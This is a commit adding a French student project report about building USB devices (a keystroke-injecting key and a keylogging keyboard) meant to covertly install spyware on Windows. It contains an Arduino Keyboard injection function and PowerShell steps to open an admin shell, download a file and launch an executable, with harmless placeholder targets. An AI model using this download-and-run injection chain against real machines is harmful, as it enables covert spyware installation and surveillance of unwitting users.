Commit 40c2798670ca6624ba28e934396bd36d7197bb23

Authored by mduquesn
1 parent 3bd6c9d7

add Rapport

Showing 1 changed file with 67 additions and 0 deletions   Show diff stats
Rapport.txt 0 → 100644
... ... @@ -0,0 +1,67 @@
  1 +Rapport de Projet ¬IMA3 S6 du groupe P12
  2 +Titre : Fabrication d’appareille USB spécialisé dans espionnage
  3 +Introduction :
  4 +Le but de notre projet est la création de périphériques USB (clavier et clef USB) incorporant des fonctionnalités propres (installation de logiciel d’espionnage, keygraber). Ces périphériques seront contrôlés par un atmega16u2.
  5 +La durée de notre projet étant de deux ans nous avons décidé, durant la première année, de nous focaliser sur la partie software :
  6 +-l’étude théorique (comment utiliser des bibliothèques, comment les modifier)
  7 +-La création de maquette sur arduino, afin de voir la réalisabilité de notre projet, les problèmes rencontrés, et aussi d’avoir à notre disposition les algorithmes qui seront utilisé à la fin de notre projet .
  8 +Ainsi durant la 2ème année nous pourrons nous focaliser sur le hardware, ce qui comprend la création des PCB pour la clef et le clavier. Et aussi leur « coque de protection »
  9 +
  10 +Partie théorique :
  11 +
  12 +Partie maquette :
  13 +Dans la partie conception des maquettes nous avons travaillé avec une carte Arduino Leonardo.
  14 +Nous avons fait ce choix pour plusieurs raisons :
  15 +-l’Arduino UNO ne prend pas en charge la bibliothèque Keyboard qui nous sert à l’émulation du clavier sous l’environnement Arduino.
  16 +- Le module micro SD (utilisé pour les deux maquettes) était un module pour Leonardo.
  17 +-Le Leonardo utilise un ATmega32U2 comme contrôleur USB, mais heureusement l’ATmega32U2 et l’ATmega16u2 sont quasiment les même (seul la taille de la mémoire diffère), donc le code pour l’ATmega32u2 sera compatible avec le 16u2.
  18 +Partie 1 : La librairie Keyboard
  19 + Comme dit précédemment la librairie Keyboard sert à l’émulation d’un clavier sous l’environnement Arduino . Cette partie est importante car utilisé pour les deux périphériques l’un car étant un clavier, et l’autre car l’installation du logiciel espion nécessitera des commandes à taper dans le shell de Windows.
  20 +Dans un premier temps nous avons téléchargé et installé le logiciel Arduino qui sert à programmer l’arduino Léonardo. Par la suite nous y avons implanté la dernière version de la librairie Keyboard.
  21 +Pour écrire notre programme, nous avons utilisé comme squelette de base le code d’exemple de l’utilisation de la librairie Keyboard fourni avec le logiciel.
  22 +L’utilisation de la bibliothèque est plutôt simple, il suffit de lancée Keyboard.begin(). Alors l’arduino est reconnue comme un clavier. Par la suite pour rentrer des touches il faut utiliser la commande Keyboard.write() « appuie sur une touche » ou Keyboard.press() <reste appuyé sur la touche >. Le problème c’est que le programme ne nous permet que d’envoyer un caractère à la fois, ce qui est trop long pour notre utilisation. Donc pour palier à ces problèmes nous avons créé une fonction qui permet d’envoyer directe une chaine de caractère.
  23 +void keyboardprint ( String texte ){
  24 + int i = 0;
  25 + while (texte[i]!='\0'){
  26 + if(texte[i]=='@'){
  27 + Keyboard.write('"');
  28 + }
  29 + else if(texte[i]=='"'){
  30 + Keyboard.write('@');
  31 + }
  32 + else if(texte[i]=='\\'){
  33 + Keyboard.press(KEY_RIGHT_ALT);
  34 + Keyboard.press(92);
  35 + }
  36 + else {
  37 + Keyboard.write(texte[i]);
  38 + }
  39 + delay(ti);
  40 + Keyboard.releaseAll();
  41 + i++;
  42 + }
  43 + }
  44 +Les problèmes que nous avons rencontrés lors de la création de ce programme se situe au niveau de l’envoie de certaines touches bien spécifique exemple @ , \ … qui ont du étre prit en compte différent des autres touche . Nous n’avons pas trouvé la source de ces erreurs.
  45 +Partie 2 : Code sous Windows pour la clé
  46 +Notre clef USB devra injecter des codes sous Windows afin de télécharger et d’installer le logiciel espion. Dans cette partie nous verrons le code utilisé.
  47 +Windows possède 2 Shell diffèrent : -CMD et –PowerShell
  48 +Théoriquement les 2 nous permettrais de télécharger et de lancer un logiciel. Mais les essaies sous CMD n’ont pas portait leurs fruits.
  49 +Donc nous allons utiliser PowerShell pour télécharger et installer notre logiciel espion .
  50 +Code :
  51 +Ouvrir power Shell en admin :
  52 +Windows
  53 +Powershell
  54 +Entré + shift + entré
  55 +<-
  56 +Entré
  57 +Télécharger un logiciel :
  58 +Invoke-WebRequest –Uri «adresse du fichier» –OutFile «adresse destination + nom et type fichier»
  59 +«https://www.mediacollege.com/audio/tone/files/440Hz_44100Hz_16bit_30sec.mp3» -OutFile «./mp3.mp3»
  60 +Lancer un .exe :
  61 +"C:\Program Files\qBittorrent\qbittorrent.exe" exemple avec qbittorent
  62 +
  63 +Partie 3 : Gestion SD
  64 +La gestion de la carte SD sous arduino utilise aussi une bibliothèque ()
  65 +
  66 +
  67 +
... ...